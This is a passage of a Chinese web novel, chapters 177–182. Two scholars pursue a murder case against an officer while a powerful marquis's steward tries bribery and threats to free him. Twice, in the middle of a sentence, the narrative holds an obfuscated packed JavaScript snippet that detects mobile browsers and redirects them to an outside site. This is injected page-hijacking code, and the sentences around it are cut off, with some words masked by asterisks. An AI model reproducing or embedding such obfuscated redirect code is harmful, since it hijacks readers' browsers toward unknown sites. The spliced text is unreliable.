“钱都统，救我！钱都统，我帮你做那么多事，你不能见死不救……” 公案之后的苏青林，眼中闪过一道精光，这句话的意思不一般啊。 钱都统脸色大变，快步走到傅延庆身前，蒲扇般的大手高高举起，啪啪两声，给傅延庆两记响亮的耳光。 原本大喊大叫的傅延庆懵了，不可置信地看着钱都统。 看傅延庆呆愣在原地，钱都统冷哼一声说： “真是没想到，你竟会做出如此令人发指的事！你去牢里蹲着，其他事我会想办法的。” 说完，钱都统恨恨地看一眼杨云，如果不是这小子搅局，他早把傅延庆救出去。 但碍于这事公堂之上，钱都统也不能做什么，只能转身离开。 见到钱都统走了，苏青林让人把他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“钱都统，傅延庆的案子怎么样了？” 第177章 施压 第一百七十七章施压 钱都统当初知道周仲来府城状告傅延庆后，生怕牵出更多的事，赶快给京城报信。 杨管事正是接到这个信后，才被派来的。 钱都统脸上浮现出一抹苦涩的笑容，重重地叹一口气说： “大人，你要是早来半天好了。今天上午，傅延庆刚被平源知府判了。” 杨管事听到傅延庆已经被判，眼中闪过一丝诧异，皱眉问道： “怎么会这么快？平源知府给他判个什么罪名？” 按照以往的规矩，六品武官至少要审上几个月，查清一切事实，才会判决。 傅延庆这个案子，从事发到现下，才半个月，平源知府也判得太快。 钱都统眼中闪过一丝恨色，咬牙切齿地说： “本来我都已经为傅延庆开脱成**，没想到一个小秀才横生枝节，裹挟**，逼得苏青林不得不当堂判傅延庆，秋后处决这样的极刑。” 直到这会儿，钱都统都有点恨杨云，要不是他，钱都统能把傅延庆说成**民女，再使点银子，这件事也彻底抹平。 “秋后处决？” 杨管事听到这个判罚微微惊一下，冷笑着说： “没想到平源知府竟还有这样的胆色，让人有些佩服啊。” “但距离秋后还有一段时间，咱们有足够时间打点，把傅延庆救出来。” “还有你说的哪个秀才是怎么回事？你一个四品武将，怎么会被秀才坏事？” 在四品官眼里，秀才与其他平头百姓没有什么区别，钱都统不应该吃这么大亏才对。 钱都统也不怕丢人，把公堂上发生的事原原本本地复述一遍，最后恨恨地说： “这个秀才不要落在我手里，不然非得给他点颜色不可！” 杨管事什么都没说，只是沉吟片刻后说： “麻烦钱都统给我准备间上房，我好好休息一下，明天咱们去拜访平源知府。” 钱都统自然是连声答应，吩咐亲兵赶快准备房间。 在钱都统招待杨管事的时候，周仲在客栈的包间中摆一桌上好的席面。 他从椅子上起身，一脸严肃地举杯，对杨云魏承业等人说： “这次我表妹能沉冤昭雪，全要感谢杨兄魏兄及在座各位，在下身无长物，不能以厚礼相谢，只以这杯薄酒谢过各位援手之恩，干！” 这次出力最大的人是杨云和魏承业，其他人只是跟着喊两句，一顿酒席酬谢够了。 第一杯喝完，周仲和杨云魏承业又单独喝一杯，才安心地坐下来。 魏承业放下周酒，看着卸下重担的周仲说： “两位既然来了府城，事情也办完，不如在这里盘桓几日，让在下一尽地主之谊。” 杨云学识渊博，机敏果断，日后必能做官。 周仲心志坚韧，百折不挠，未来也必然有一番成就。 魏承业心里也有一番抱负，自然要跟他们两人多多亲近。 何况，周仲杨云已经在血状案上耽误将近半个月时间，在魏承业看来，他们肯定参加不了今年的乡试，不如在府城多玩几天。 没想到的是，周仲和杨云齐齐摇头，周仲目光中带着歉意说： “多谢魏兄好意，但我还是想早点回家读书，抓紧时间温**功课，参加今年的乡试。” 为这场乡试，周仲已经准备好几年，当然不可能这么容易放弃。 杨云虽然没有准备这么长时间，但他过目不忘，悟性超群，参加乡试是有机会的。 眼看两人都拒绝他，魏承业也不勉强，举杯笑着说： “那我预祝两位，今年秋闱高中了！” 几人开着玩笑，直到华灯初上，都喝醉之后，才散场回家。 夜色掩映中，一个身材健壮的男人来到平源府大牢门口，笑呵呵地拿出银子递给狱卒， “这位官爷，我想进去见个人，还请您行个方便。” 狱卒掂掂手里的银子，将他引入大牢之中，找到牢头说： “李爷，这人想探监，求咱们行个方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645244|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便，您看这事……” 牢头懒洋洋地抬头，冲着狱卒摆摆手，让他下去，才慢慢悠悠地问： “你想见什么人啊？” 男人从身上拿出五两银子，光明正大地牢头面前的桌子上，嘴角微翘着说： “我想见今天上午刚关进来的那个校尉，傅延庆。” 听到这个名字，牢头警惕起来，知府下命令的，傅延庆一定不能出事，这小子不会是来下黑手的吧？ 想到这里，牢头眼中带着不舍，把银子往男人这边推一点点，沉声说： “这是重犯，没有知府大人的话，我不敢随便让人见他。万一出事，我担待不起。” 男人的目光一转，又从身上摸出五两银子，一起往牢头面前一推，轻笑着说： “我是他的朋友，他家里人担心他在牢里住不习惯，让我过来问问情况。” “您放心，我跟他说说话，绝不会做其他事。” 见到十两银子，牢头明显心动，他权衡片刻，终于把银子收下，但还是警告说： “只能说话，别的什么事都不能干！” 看着男人点头答应，牢头才起身，领着他来到牢房的深处。 让人意外的是，傅延庆住的牢房里竟只有他一个人，有桌椅，有床铺。 虽然跟外面没法比，但在大牢里，已经算是最舒服的。 牢头看看躺在床上的傅延庆，回头对男人说：“一盏茶时间，我在那边看着，时间到了你得走。” 傅延庆是知府点名的重犯，牢头不敢轻忽，即便男人给十两银子，也只有盏茶时间。 见到男人点头，牢头走到不远处的拐角，盯着这个方向，以防男人出什么幺蛾子。 男人见牢头走远，才走到监狱的栅栏之前，冲着里面的傅延庆轻声喊道： “傅校尉！” 躺在床上的傅延庆，噌的一下坐起来，看到栅栏外的男人，又惊又喜地问： “明仁，你怎么来了？是不是都统大人有什么话要带给我？” 第178章 杨管事 第一百七十八章 杨管事 今天在公堂之上，傅延庆被带走的时候，钱都统曾暗示他，会想办法救他。 果不其然，晚上都统的亲兵陈明仁来了。 陈明仁看傅延庆神采还算不错，轻轻点头，小声对他说： “这几天你先在大牢里忍耐一下，都统大人正在想办法救你。” 傅延庆眼中闪过一丝犹豫，都统和平源知府是平级，他未必有办法能让平源知府低头。 要是在大牢里待个一年半载，不仅他的前途全毁，哪怕身体也会废掉。 想到这里，傅延庆的眼睛转几圈，小心翼翼地试探着问： “不知道都统大人在想什么办法？这里住得实在不舒服，还请都统快点救我出去。” 看着傅延庆可怜巴巴的样子，陈明仁眼睛微眯，扭头看一眼牢头后，极小声地说： “京城来人，明天会去拜访苏青林。有他出面，你的事不成问题。” 傅延庆听到京城竟来人，不由得又惊又喜，连忙问道： “谁来了？是哪位将军？” 在傅延庆看来，他的事至少也得三品往上的将军才能压住，其他人来都是白费。 陈明仁想到白天那个中年人，微微摇摇头，满脸不解地说： “我也不知道是哪位，但看都统大人对他的样子，官位应该不小。” 傅延庆才彻底放下心来，都统为救他，把京城的大人物都请来，那应该没问题。 看着傅延庆如释重负的样子，陈明仁低声地提醒他， “都统大人让我告诉你，什么话该说，什么话不该说，你心里有点数。” “要是说了不该说的，都统大人也救不了你。” 傅延庆跟着钱都统干的时间不短，知道很多秘密，要是傅延庆招了，连钱都统都要倒霉。 知道没有性命之忧的傅延庆，满不在乎地冲陈明仁摆摆手说： “这个你放心，我的嘴最严，保证一个字都不会露出去的。” 陈明仁看着傅延庆轻松的样子，轻轻叹一口气，起身和牢头一起离开。 第二天一早，苏青林正在二堂处理公务，师爷进来禀告说： “大人，钱都统来了，还带着一个陌生人。” 苏青林轻快地在文书上批几个字，笑呵呵地看着师爷说： “看来钱都统是带着说客一起来的，只是不知道这个说客到底有多重的分量。” “请钱都统进来吧，顺便把这封公文交给户房，让他们按上面写的办。” 昨天在公堂之上，钱都统说要想办法救傅延庆，只是苏青林不知道他会用什么办法。 今天钱都统带人来了，苏青正好见识一下，钱都统想出来什么好办法。 不多时，钱都统带着一个身穿旧丝绸圆领袍的中年人走进来。 苏青林打量中年人一眼，随后起身冲着钱都统拱拱手，笑着说： “这是哪阵风把钱大人吹来了？钱大人请坐，来人，上茶！” 只是让苏青林意外的是，钱都统没有坐在上手，而是把位置让给中年人，他反而在中年人的下首坐。 看到这一幕，苏青林的眼中闪过一道精光。 这在注重官职，背景，资历的官场上，只有这一种可能，中年人的地位比钱都统的还要高！ 但苏青林想半天，都没有想到这个人是谁，只能转头看着钱都统，带着几分小心问： “钱大人，恕本官眼拙，这位大人是……” 中年人微笑着拱拱手，淡淡地说： “大人之称不敢当，我只是替我家主人办事的一个下人而已。” 听到是下人，苏青林更加不敢小觑，一个下人都能让钱都统如此尊敬。 那他背后的主人，又该是何等的权势滔天，神通广大？ 苏青林的眼睛转一下，小声地问： “不知道贵主人是……” 杨管事冲着京城方向拱拱手，带着几分傲然之色说： “我家主人，乃当朝大将军，天应侯！在下不才，跟着侯爷几十年，在侯府中混个大管事的职位。” 听到杨管事报出天应侯的时候，苏青林忍不住倒吸一口气！ 这是势倾朝野，只手遮天的大人物，他的大管家就算六部尚书见了，都要客客气气的！ 钱都统到底付出什么代价，竟连这种人物都请来？ 数十种可能在苏青林心中流过，却没有耽误他和杨管事打招呼， “原来是杨管事！下官不知道管事今日驾临，未能出府相迎，万望恕罪。” 见到苏青林对他如此重视，杨管事满意地点点头，开门见山地说： “苏知府，我此次前来，是为傅延庆一案。” “傅校尉虽然一时糊涂，犯下大错，但他本身心地不坏，在战场上也立下很多汗马功劳，侯爷还曾经说过，此人未来必是一员虎将！” 听到杨管事为傅延庆说这么多好话，苏青林知道杨管事是想让他放掉他。 他沉吟片刻后，却跟杨管事打起太极，他轻轻叹一口气说： “如此虎将，没能死在沙场，反而要死于刑场，实在是太可惜……” 有些话苏青林不能说，必须杨管事亲自开口才行。 杨管事见他的话说得这么明，苏青林却不接茬，眼中闪过一丝怒色，淡淡地说： “既然苏大人觉得可惜，不如将他改死为配，让他去边军之中将功赎罪？” 一字之差，却是天壤之别！ 傅延庆若死了，那是恶人被绳之以法，足以告慰刘英的在天之灵。 要是发配到边军之中，有天应侯照拂，他只是换个地方继续做校尉而已，根本不会受到任何惩罚！ 别看杨管事说得那么好听，什么将功赎罪，都是空话！ 苏青林不愿意放过傅延庆，却也不想得罪天应侯府，略微沉吟之后，装出为难的样子说： “杨管事，如果您早来一步，我就算担着天大的风险，也一定冲您的面子改了。” “但傅延庆的判决，我昨天已经写好呈文，发往州府，这时候再想改也没办法啊！” 第179章 机会 第一百七十九章 机会 大盛朝处决人犯，先是上报州府，州府呈报皇上，等到皇上御笔勾决，才能行刑。 傅延庆还是六品武官，这种朝廷命官的生死要更加慎重，不呈报陛下没人敢擅杀。 苏青林怕夜长梦多，在当天下午，已让人把处决公文送到州府。 听到苏青林的动作这么快，钱都统立刻对他怒目而视，阴阳怪气地说： “没想到苏知府在这件事上，手脚挺快的，只是不知道你是有心，还是无意。” 若是有心，那是苏青林想要置傅延庆于死地！ 苏青林在官场上混这么多年，当然不会因为一句话生气，装作苦恼的样子说： “此时再说有心无心，已经于事无补，最重要的是，得想办法让州府那边改变主意。” 钱都统见苏青林如此滑溜，张口想骂，却被杨管事拦下，皮笑肉不笑地说： “州府那边我自然会想办法，这个不用苏大人担心。” “只要苏大人给我个面子，把傅延庆放了，剩下的事你不用管。” 听到杨管事竟空口白牙让他放人，苏青林心中暗骂一声，面上却迟疑着说： “这样……不好吧？” 昨天才抓的犯人，还是处以极刑的重犯，今天放了，以后百姓怎么看平源府衙？ 等到京城的考评官下来，百姓把这事一说，苏青林这辈子都别想往上升。 杨管事听到苏青林话语中带着几分犹豫，鼻中立刻哼一声说： “苏大人不愿意给我这个面子？还是觉得我分量不够，得让我家侯爷亲自来跟你说？” 苏青林见杨管事黑脸，心中暗叫不好，连忙找借口说：“不是我不想放人，只是原告还没走，若让他们知道，必然不肯罢休。” 眼见苏青林连原告都拉出来做挡箭牌，杨管事眼中带着些许冷漠说： “苏知府，等我把原告劝服，你要是再推三阻四，别怪我不客气了。” 说完，杨管事根本没听苏青林的解释，起身向外走去。 钱都统赶紧小跑着跟上。 见到杨管事走了，苏青林赶快坐回桌后，提笔开始写信，口中喃喃自语地说： “周仲，你别跟这个混账硬顶，千万要懂得隐忍……” 苏青林知道，让周仲这样初出茅庐的秀才，去顶侯府的大管家，有些不地道。 但为给他争取时间，他也顾不得这么多。 盏茶时间之后，苏青林写一封短信，亲自来到府衙的鸽房。 他挑一只最好的鸽子，把信塞在它脚上的竹筒之中，往天空一撒。 鸽子立刻振翅高飞，片刻之后消失在云天之中。 看着鸽子飞走，苏青林口中自言自语地说： “老师，这说不定是扳倒天应侯的好机会，咱们一定要把握住！” 傅延庆区区一个六品武将，却能让天应侯府的大管事亲自出面捞人。 这里面要是没有利益纠葛，苏青林是断然不信的。 他敏锐地意识到这是个机会，把杨管事支走，争分夺秒地向他的老师报信。 在府衙鸽子飞走的时候，杨管事已经来到周仲住的客栈。 钱都统毫不客气地说： “掌柜，你这里是不是有个叫周仲的秀才，赶紧把他叫出来，有贵人要见他！” 见到钱都统这么霸道嚣张，掌柜不敢招惹，连忙让小二去后面把周仲叫出来。 不多时，一脸茫然的周仲走出来，见到钱都统后，脸色微微一变，拱手问道：“不知道钱都统找我，有什么事？” 钱都统要保傅延庆。 在周仲看来他自然不是好人，来找他说不定是想要报复。 没想到钱都统根本不理周仲，而是俯身对杨管事说：“此人是周仲，也是他一直缠着傅校尉不放。” 杨管事懒懒地打量周仲一眼，不紧不慢地说：“周仲是吧？你为你表妹告状的事我知道了，你做得不错。” “得饶人处且饶人，傅校尉已经知道错了，你放过他这一次吧。” “这里有两千两银子，算是对你表妹的一点心意，这件事这么让它过去吧。” 钱都统见到杨管事没有拿银子的意思，赶紧从他身上拿出两千两银子放在桌上。 息事宁人的钱，肯定不能让杨管事出，钱都统也不想当冤大头。 等傅延庆出来后，加倍从他那里要即可。 反正钱都统是府他的上司，不怕他赖账。 见到这个人莫名其妙地来找他说些疯话。 周仲皱皱眉头说：“杀人偿命，欠债还钱。” “傅延庆已经被判秋后处决，这钱你们拿回去吧。” 杨管事的眼皮微微抬一下，看着周仲说： “江州花船上最出名的清倌人，赎身银子也才一千两，这些钱都够你买两个清倌人，何必还惦念着你那个表妹？” 听到杨管事把他和刘英当成青梅竹马，周仲也懒得解释，只是不耐烦地挥挥手说： “你们用不着劝我，傅延庆必须死，谁来劝都没有用！” 周仲为刘英喊冤，只是为公义，要是为钱，他也不会坚持到府城告状。 眼看他拿出的银子没有用，杨管事目中闪过一丝冷意，不悦地说：“周仲，你不要敬酒不吃吃罚酒。这钱你不收，那是跟我作对。” 周仲都不知道杨管事的身份，听得到他这么大口气，冷笑着说：“跟你作对又如何？你以为你是谁？” 杨管事把胳膊放在桌上，眼神犹如毒蛇一样，死死地盯着周仲说： “我是天应侯府的大管事，你若要跟我作对。” “从今以后，你的父母，你的亲戚，你的朋友，都会诸事不顺，甚至遇到些天灾人祸，步你表妹的后尘。” 周仲吃一惊，权倾朝野的天应侯他怎么可能不知道？ 那是连皇帝都要敬三分的大人物！ 看到周仲紧紧攥起的拳头，还有他额上冒出的冷汗，杨管事知道他的威胁起作用了。 他缓缓坐直身子，脸上露出一个胜券在握的笑容， “是拿钱去风流潇洒，还是要跟我作对，你想好再回答。” 第180章 管事与公子 第一百八十章 管事与公子 周仲的身子抖得厉害，嘴唇用力地抿着，眼睛不停地转动。 告一个六品校尉都这么艰难，如果真惹上天应侯这样手眼通天的大人物，下场会有多惨，他都不敢想象。 只是周仲很不甘心，不甘心他坚持的道，被杨管事彻底碾碎，更不甘心就此认输！ 杨管事在天应侯府做这么多年大管事，察言观色自然是顶级的。 他看出周仲动摇，立刻趁热打铁说： “你只是个小小的秀才，就算在平源府，你也翻不起多大浪花，何况是在京城？” “退一万步说，你把这个案子告到京城，那又怎么样？” “六部尚书，哪个敢不给我家侯爷面子？朝中大员，谁会为一个秀才得罪大将军？” “我说的话有点难听，却是实话，把银子收起来吧。” “天下本来是不公的，你能为你表妹做到这个地步已经很不错，没有人会怪你的。” 周仲定定地看着桌上的银票，越想越觉得杨管事的话有道理。 有这两千两银子，姨父可以舒舒服服地过完后半辈子，甚至再娶个媳妇，生个孩子。 不知道什么时候，周仲的手已经慢慢伸出来，距离银票越来越近。 杨管事见到周仲被他说动，满意地笑起来，看来这件事的难度也不算太大。 在周仲准备伸手拿钱的时候，一个人影忽然从后院走出来，神色悠闲地说：“师兄，你的行李收拾……师兄，你在干什么？” 原本被杨管事说动的周仲猛然惊醒，手停在银票上面，转头对杨云说：“这位先生，想让我们不要再纠缠表妹的死……” 杨云缓步往前走来，一脸疑惑地说：“傅延庆不是已经被知府大人，判决秋后处斩吗？怎么还有人来找……是你？” 钱都统见到杨云出来，连忙在杨管事的耳边提醒说：“管事，是这个人坏咱们的事。” 眼看煮熟的鸭 子飞走，杨管事怒气冲冲地抬头，想看看是谁坏他的好事。 但等他看到杨云后，心中立刻惊一下，下意识想要站起来行礼。 只是，他立马反应过来，杨云已经不是天应侯府的世子，只是个平头百姓而已。 想到这里，杨管事又踏踏实实地坐下，只是冲着杨云拱拱手，嘴角带着笑容说： “云少爷，真是没想到，竟能在这里见到你。” 杨管事在侯府做事的年头，比杨云的年龄还大，他们两人当然不会不认识。 杨云也没想到，能在这里见到侯府的大管事。 他眼中满是惊讶之色，眯着眼睛问道： “杨管事，你是为傅延庆的事而来？” 桌上的银票，还有周仲的话，已经够杨云想明白这是怎么回事。 见杨云看出来，杨管事也不否认，十分坦率地说：“正是。云少爷既然和这位周公子是朋友，还请您帮我劝劝他。” 虽说杨云被赶出天应侯府，但最疼他的老侯爷还在。 杨管事对杨云还有几分客气。 钱都统惊讶地看着杨云。 他做梦都没想到，这个横生枝节的小秀才，竟和杨管事认识。 看他们之间的对话，两人还很熟悉的样子。 周仲也一脸吃惊，杨云怎么会认识天应侯府的人？ 杨云看一眼桌上的银票，鼻中冷哼一声，话语中带着几分不屑说： “怎么才两千两银票？我记得天应侯府没有抠门的习惯。” 以前杨云在侯府的时候，每天光是吃饭要花上百两银子，这些钱只是半个月的饭钱。 杨管事脸上闪过一丝犹豫之色，从身上拿出三千两银票，放在桌上，“既然云少爷开口，那我再掏三千两，一共五千两，足够有诚意来吧？” 五千两银子，放在京城是一笔不小的数目，何况是在平源府这种小地方。 看着桌上的银票，周仲一时间犹豫不决。 拿银子，固然能让姨父过上好日子，却要放过凶手。 不拿银子，傅延庆在天应侯的包庇下，不一定会死，他也会被他们想方设法打压。 他想半天，还是不知道该不该拿，只能低声问杨云，“师弟，你说这钱我拿还是不拿？” 杨云看着面无表情的杨管事，神色严肃地对周仲开口，“师兄，这五千两银子，买的不仅是傅延庆的命，还有你的良心。” “到底要不要拿，你自行斟酌。” 这次收下杨管事的钱，那以后还有什么事不能收钱？ 长此以往，周仲必然会沦为傅延庆之流，拼命捞钱，遇到事想着拿钱摆平。 周仲看着桌上的银票，把手指按在上面。 沉默片刻后，周仲把银票又推回杨管事面前，坚定地对他说：“你们有办法包庇傅延庆，那是你们的事。我只想讨一个公道。公道，用银子买不来。” 杨云的嘴角微微翘起。 他果然没看错人，师兄不是那种被银子收买的人。 杨管事见周仲拒绝他的建议，脸色阴沉地说： “你想好了？为一个死人，要连累你身边所有的亲人，朋友？” 周仲的眼睛毫不回避，直直地看着杨管事说： “不，你说错了。不是我连累他们，而是你要害他们！” “不管你用什么办法打压我，我都不会向你，和你背后的人屈服的。” 见他态度如此坚决，杨云点点头，跟他并肩站在一起说： “师兄说得没错，我们永远都不会向你身后的人卑躬屈膝。” 当初，杨云面对天应侯杨成罡的威逼利诱，都没有动心，毅然决然地带着姜梅回到青山村。 现下一个管事的话，他自然更不会放在心上。 杨管事将五千两银票放回他怀里，缓缓起身对杨云说：“少爷，看在以往的情分上，我提醒您一句。” “之前您闯那么多祸，惹那么多人，都能安然无恙，那是因为有侯爷给您担着。” “但你别忘了，你现下是个平头百姓，真要惹上什么人，得自行扛着。” 第181章 暂且隐忍 第一百八十一章 暂且隐忍 以前杨云在京城的时候，没有不敢惹的人，没有不敢闯的祸，偏偏他每次都能全身而退。 这是因为他背后站着一个权倾朝野，手眼通天的男人，天应侯。 别人畏惧的是杨云天应侯世子的身份，而不是他本人。 现下杨云已经被赶出侯府，如果他再像以前那么嚣张，下场肯定惨不忍睹。 杨管事之所以还对杨云有一丝尊敬。 那是因为他知道，老侯爷对这个假孙子还有点感情。 一旦老侯爷撒手人寰，杨云在他眼里，真什么都不是。 杨云脸上没有丝毫惧色，平静地说：“大丈夫有所为有所不为，遇到应该扛的事，就算是豁出命也要扛。” 看杨云没有丝毫闪躲退缩的眼神，杨管事重重叹一口气说：“少爷，傅延庆会被发往边关充军，这件事到此为止吧，对你我双方都好。” 杨云的眼睛眯起，他是在天应侯府长大的，自然知道这其中的猫腻，皱眉问道： “只是一个六品校尉，值得侯府这么大动干戈吗？” 大将军是当朝一品，手下像傅延庆这样的校尉成千上万，杨云不明白，为什么非要救他。 杨管事目光中流露出一丝笑意，用看懵懂晚辈的目光看着杨云说： “有些事，你还不懂。少爷，好自为之。” 杨管事冲着杨云微微一礼，转身带着钱都统从客栈离开。 该说的都已经说出，如果杨云和周仲还不识时务的话，那不能怪杨管事不念旧情。 周仲看着杨管事从客栈离开，双腿一软，坐在长凳上，擦擦额头上的汗珠说： “真是没想到，傅校尉竟跟天应侯有关系……” “师弟，你怎么会认识天应侯府的大管事？他为什么叫你少爷？” 杨云笑笑，没有回答，而是岔开话题问周仲， “师兄，傅延庆说是被发配充军，但实际上是换个地方做校尉，你还要接着告他吗？” 这种手段，蒙骗周仲这样单纯的秀才没问题，但对杨云来说，一眼能看穿。 经过先前杨管事的威胁，周仲的锐气明显没有刚开始那么充足。 他坐在长凳上默默思索。 过大半天之后，周仲才慢慢抬头，看着杨云说：“师弟，咱们暂且不告。” “等有一天，你我中进士，做官，再翻出这个案子，把傅延庆和他身后的人，一网打尽！” 周仲刚才想明白，要想为表妹申冤，手中必须有足够力量，不当官，斗不过那些人！ 杨云先是愣一下，又欣慰地笑起来。 周仲这是要厚积薄发！ 两人议定往后的策略，一起退房，背起行囊坐车回到东平县。 三天之后，一辆马车从东平县城门驶入，径直来到保宁坊苦水巷，在刘青家门口停下。 周仲和杨云从马车上下来，推开院门走进去，却见刘青拄着拐杖在院里练习走路。 见到刘青竟能下地，周仲又惊又喜地问道：“姨父，你的腿伤好了？” 刘青抬头看到周仲和杨云回来，轻车熟路地走到两人面前，笑呵呵地说： “大夫说还要再养两个月，但我闲不住，想着出来走走。来，进屋里坐。” 进屋之后，刘青张罗着给杨云二人倒水，忙活完后才小心地问： “外甥，这次去府城，官司打得怎么样？” 这是刘青最关心的事，只有官司赢了，他才对得起女儿的在天之灵。 听到刘青问起官司，周仲和杨云对视一眼。 周仲舔一下嘴唇，慢慢地说：“姨父，官司打赢了，只是府城卫军的都统为傅延庆说情，最后判个发配。” 周仲在回来的路上已想好，背后的真相没必要告诉姨父。 要是知道傅延庆能死而不死，这对刚丧女的姨父，又是个巨大打击。 “这些狗官，除拼命捞钱外，只知道官官相护！” 刘青生气地骂一刻钟，才颤颤巍巍地给刘英的牌位上三炷香，眼中带着泪水说： “英子，害死你的人已经被发配，你在九泉之下安息吧。来世投个有权有势的人家，不要再跟着爹吃苦受罪。” 给刘英上完香，刘青慢慢走到杨云周仲身前，扑通一声跪下。 “姨父，你这是干什么？我受不起！你快起来！” 见到姨父下跪，周仲吓得立刻蹦起来，三步并作两步，来到刘青身前扶他。 杨云也不敢受长辈大礼，连忙躲开，帮着周仲把刘青扶起来。 “阿仲，杨公子，你们帮英子报仇，我无以为报，只能磕头相谢！” 刘青眼中带着一丝泪光，颤声对两人说。 周仲把刘青扶到椅子上坐下，才放心地说： “姨父，咱们都是一家人，用不着这样的。这是知府让傅延庆赔您的银子，一共五十两。” 周仲说着，从怀里拿出五十两银子放在桌上。 这银子，其实是他和杨云凑的。 但担心刘青不肯收，才说是傅延庆赔的。 刘青见到银子，眼睛一亮，拿起来往周仲和杨云怀里塞， “你们两人为英子的事，忙前忙后，这些钱你们两个平分吧！ ” 两人哭笑不得，连忙借口有事，从刘青家跑出来，坐着马车回家去。 杨云回到青山村，已经是黄昏时分，他跨进远门，开心地说：“娘，我回来了！” 正在厨房做饭的姜梅，见到儿子回来，连锅里的菜都不管，拿着锅铲跑出来， “云儿，你总算回来了！娘想死你了！” 杨云离开的这些天，姜梅老是提心吊胆，不是担心吃不好穿不暖，就是怕他生病。 好在杨云安然无恙地回来，姜梅悬着的心也能放下来。 母子俩人说一会儿话，直到杨云闻到一股煳味，姜梅才想起厨房里还有菜，赶紧回去。 杨云出门回来，姜梅特意多做两个菜，庆祝一下。 晚上吃饭的时候，姜梅把炒煳的这盘菜放在她面前，另外两盘好菜放在杨云面前，一边吃一边问： “云儿，这次你去哪里访友啊？见识，学问，有没有长进？” 第182章 再见罗孝荣 第一百八十二章 再见罗孝荣 杨云没有说打官司的事，只说是去府城见几个朋友，还长不少见识。 听着杨云的讲述，姜梅笑着点头，无意插一句话， “你知道吗？你那个师兄周先生出事了，听说他的未婚妻被人害死，他去府城告状。” 杨云没想到母亲会突然冒出这么一句，连忙敷衍着说： “这个我知道，我和他还在府城见面呢，听说他那个案子已经结了。” 姜梅感慨着一对小夫妻这样阴阳永隔，完全没注意到杨云心虚的眼神。 好好休息一晚后，杨云第二天开始发奋读书。 他还去文宝坊买来《乡试呈文大全》，每一篇都仔细琢磨，直到倒背如流。 时间在一篇篇文章中飞速流过，没多久到乡试的日子。 这天，杨云收拾好行装，又带上母亲给的一千两银票，跟周仲一起坐马车前往临山府。 临山府距离平源府六百多里，马车足足走十二天才到。 杨云和周仲的骨头都快颠散架，两人却一刻都不敢歇，赶紧去客栈找房间。 马上要到乡试时间，临山府的客栈几乎家家爆满，全都被考试的秀才租下。 两人跑四五家，才找到合适的房子住下。 “累死我了。” 杨云把包袱扔在床上，他也大字形地躺下去，舒舒服服地出一口气。 在杨云准备稍微眯一会儿的时候，周仲在房间外面敲门，轻声对他说： “师弟，趁着天色还亮，我们去拜会一下老师，顺便向他请教一下乡试的事。” 杨云才想起来，老师罗孝荣也在府城准备乡试，但他来得早，半年前来了。 他身为学生，来到州府确实是该去看望老师。 想到这里，杨云懒懒地应一声，起身来到门外，跟周仲一起离开客栈。 两人在街上买好礼物，按照之前信中所写的地址，来到东城的兰梅巷。 看着面前清雅幽静的院子，周仲上前敲敲门，冲着门子问道： “请问罗孝荣罗先生是在这里住吗？我是他的学生周仲，这是我师弟杨云。” 听到是罗孝荣的学生，门子脸上立刻堆起笑容，将两人迎进偏厅，他去回禀。 大概过一盏茶时间，穿着一身宽松衣衫的罗孝荣，满脸笑容地从后堂走出。 周仲和杨云见老师来了，连忙起身恭敬行礼，异口同声地说： “学生周仲，杨云，见过恩师。” 罗孝荣冲着两人摆摆手，满不在乎地笑着说： “你我师生，用不着那么多虚礼。我听说你们两个都过院试，杨云还拿案首啊？” 虽然罗孝荣一直在临山府读书访友，但郑子康会时不时写信给他，告诉他些最新消息。 听到罗孝荣提起案首的事，杨云十分谦虚地说： “当着老师的面不敢卖弄，能取案首也是学生的运气。” 这些天杨云在家里闭关读书，学问突飞猛进，院试的文章已经不被他看在眼里。 看到杨云没有丝毫骄矜之色，罗孝荣满意地点点头，沉吟片刻后说： “你们二人来到临山府，想必也有试试乡试的心思吧？” 这一点没必要隐瞒，杨云和周仲大大方方地说： “学生自知学问浅薄，但还是想试试，哪怕不中，也当是积累经验。” 确定两人的心思后，罗孝荣又问道：“你们是什么时候进城的？可在城里客栈租下房间？” 周仲点点头，将住的祥云客栈在哪里，告诉罗孝荣。 知道两人都有住的地方后，罗孝荣大手一挥，对两人说： “你们今晚在这里吃饭，咱们师生好好叙叙。管家，吩咐厨房，今晚做桌好菜。” 看着管家下去，罗孝荣将杨云和周仲叫到书房，沉吟片刻后，给两人出两道题目。 罗孝荣将手中的笔放下，看着两人淡淡地说： “你我师生半年未见，你们把这篇文作了，让我看看你们的学问有没有长进。” 这是老师考校学生功课，周仲和杨云不意外，沉声应是后，各自找地方思考起来。 直到亥时，两人才把文章作完，互相看一眼后，忐忑地交给罗孝荣。 罗孝荣先是拿过周仲的文章看一遍，把其中的毛病挑出来，仔细给他讲一遍。 接着，他拿起杨云的文章扫一眼，坐直身子，仔细看起来。 等看完之后，罗孝荣颇为惊讶地看着杨云说： “我真是没想到，短短半年时间，你的文章竟能进步到这种程度！” “不仅行文流畅规整，破题思路也非常精辟，算是篇好文章啊。” 杨云脸上露出一丝笑意，他之前还担心闭门苦读没用，现下总算是放心。 夸完杨云后，罗孝荣又给他指出几个能改进的地方，杨云听得连连点头。 罗孝荣给两人讲过文章之后，笑着对两人说： “你们这半年是用心的，从明天开始，你们每天都来一趟，为师给你们补补课。” 杨云拜师之后，罗孝荣到临山府来了，他心中对这个学生多少有些亏欠。 正好这次杨云也想乡试，罗孝荣干脆趁此机会教教他，算是尽尽老师的责任。 两人知道机会难得，连忙道谢。 罗孝荣笑着摆摆手，将两人带到客厅好好吃一顿，顺便还问一下周仲表妹的事。 因为罗孝荣见多识广，周仲也没有隐瞒杨管事的事，原原本本地把事情说一遍。 